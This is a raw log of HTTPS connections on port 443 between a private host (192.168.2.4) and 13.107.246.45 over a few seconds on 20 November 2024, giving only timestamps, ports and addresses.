Nov 20, 2024 12:58:25.767146111 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.767169952 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.767616034 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.767621040 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.767857075 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.767880917 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.768222094 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.768227100 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.778713942 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.779108047 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.779114962 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.779526949 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.779531002 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.814102888 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.815502882 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.815529108 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.815901995 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.815908909 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.836745024 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.839268923 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.839298964 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.839801073 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.839807034 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.879992008 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.880064011 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.880215883 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.886967897 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.887034893 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.887121916 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.895294905 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.895328999 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.895457983 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.895522118 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.895562887 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.896713018 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.896719933 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.897811890 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.897830009 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.897867918 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.897874117 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.901065111 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.901108980 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.901180029 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.901945114 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.901956081 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.902606010 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.902646065 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.902710915 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.902849913 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.902868986 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.903376102 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.903386116 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.903448105 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.903564930 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.903573036 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.927838087 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.927905083 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.927979946 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.928996086 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.929017067 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.929033041 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.929039955 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.932301998 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.932334900 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.932395935 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.932735920 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.932748079 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.939547062 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.939595938 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.939776897 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.939827919 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.939827919 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.939848900 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.939862967 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.942451954 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.942495108 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:25.942575932 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.942717075 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:25.942732096 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.557575941 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.558101892 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.558126926 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.558705091 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.558711052 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.575457096 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.576153040 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.576181889 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.576736927 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.576756954 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.577987909 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.578368902 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.578392029 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.578780890 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.578787088 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.580171108 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.580544949 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.580579042 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.581043959 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.581051111 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.628200054 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.628631115 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.628683090 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.629136086 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.629151106 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941334009 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941411972 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941519976 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941582918 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941592932 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.941669941 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.941915035 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.941960096 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.941972017 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.941994905 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942008018 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942008972 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942014933 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.942018032 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942020893 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942075968 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.942107916 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942143917 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.942406893 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942470074 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942542076 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.942827940 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.942832947 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.942986012 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.943010092 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.943027973 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.943034887 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.943773031 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.943795919 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.943811893 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.943820953 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.946039915 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946125031 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.946207047 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946496964 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946527004 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.946588039 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946717978 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946748018 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.946919918 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.946949005 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.946993113 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947103024 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947114944 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.947132111 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947148085 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.947192907 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947263956 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947276115 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.947426081 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947437048 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.947978020 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.947988987 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:26.948045969 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.948144913 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:26.948153973 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.580734015 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.581235886 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.581254005 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.581707001 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.581712961 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.590002060 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.590312004 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.590328932 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.590682030 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.590686083 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.592128992 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.592487097 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.592541933 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.592879057 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.592892885 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.594057083 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.594430923 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.594454050 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.594882011 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.594887018 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.620426893 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.620798111 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.620815039 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.621243000 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.621249914 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.683533907 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.683602095 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.683662891 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.683846951 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.683866978 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.683881998 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.683887959 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.686399937 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.686429977 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.686485052 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.686862946 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.686872959 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.693298101 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.693355083 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.693393946 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.693483114 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.693489075 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.693499088 CET	49797	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.693502903 CET	443	49797	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.694277048 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.694360971 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.694418907 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.694557905 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.694612026 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.696646929 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.696698904 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.696733952 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697396994 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697438955 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.697499037 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697652102 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697669029 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.697685957 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697725058 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.697760105 CET	49798	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697771072 CET	443	49798	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.697777033 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697900057 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.697909117 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.699696064 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.699733019 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.699795961 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.699930906 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.699944973 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.727272987 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.727370024 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.727421999 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.727525949 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.727534056 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.727544069 CET	49796	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.727549076 CET	443	49796	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.729815006 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.729835987 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:27.729904890 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.730014086 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:27.730022907 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.327270031 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.327774048 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.327794075 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.328248024 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.328253984 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.351531982 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.352010965 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.352041006 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.352612972 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.352617979 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.371537924 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.371875048 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.371901989 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.371993065 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.372236013 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.372265100 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.372266054 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.372272968 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.372731924 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.372739077 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.374978065 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.375258923 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.375267029 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.375622988 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.375627995 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.428220987 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.428320885 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.428390980 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.428569078 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.428586960 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.428596973 CET	49799	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.428602934 CET	443	49799	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.431608915 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.431690931 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.431761026 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.431917906 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.431953907 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.454049110 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.454121113 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.454207897 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.454406023 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.454427958 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.454442024 CET	49801	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.454447031 CET	443	49801	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.457026005 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.457067013 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.457142115 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.457292080 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.457305908 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.472063065 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.472131014 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.472217083 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.472345114 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.472368002 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.472397089 CET	49803	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.472404957 CET	443	49803	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.474648952 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.474704027 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.474771023 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.474893093 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.474910975 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.478081942 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.478137016 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.478182077 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.485527039 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.485604048 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.485676050 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.486263990 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.486263990 CET	49800	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.486285925 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.486298084 CET	443	49800	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.488833904 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.488850117 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.488864899 CET	49802	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.488871098 CET	443	49802	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.506300926 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506346941 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.506422997 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506441116 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506470919 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.506510973 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506584883 CET	49807	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506598949 CET	443	49807	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:28.506659031 CET	49808	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:28.506665945 CET	443	49808	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.074140072 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.081408978 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.081440926 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.081861973 CET	49804	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.081867933 CET	443	49804	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.113373041 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.113775969 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.113792896 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.114219904 CET	49805	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.114227057 CET	443	49805	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.140178919 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.140734911 CET	49806	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:29.140754938 CET	443	49806	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:29.141177893 CET	49806	443	192.168.2.4	13.107.246.45
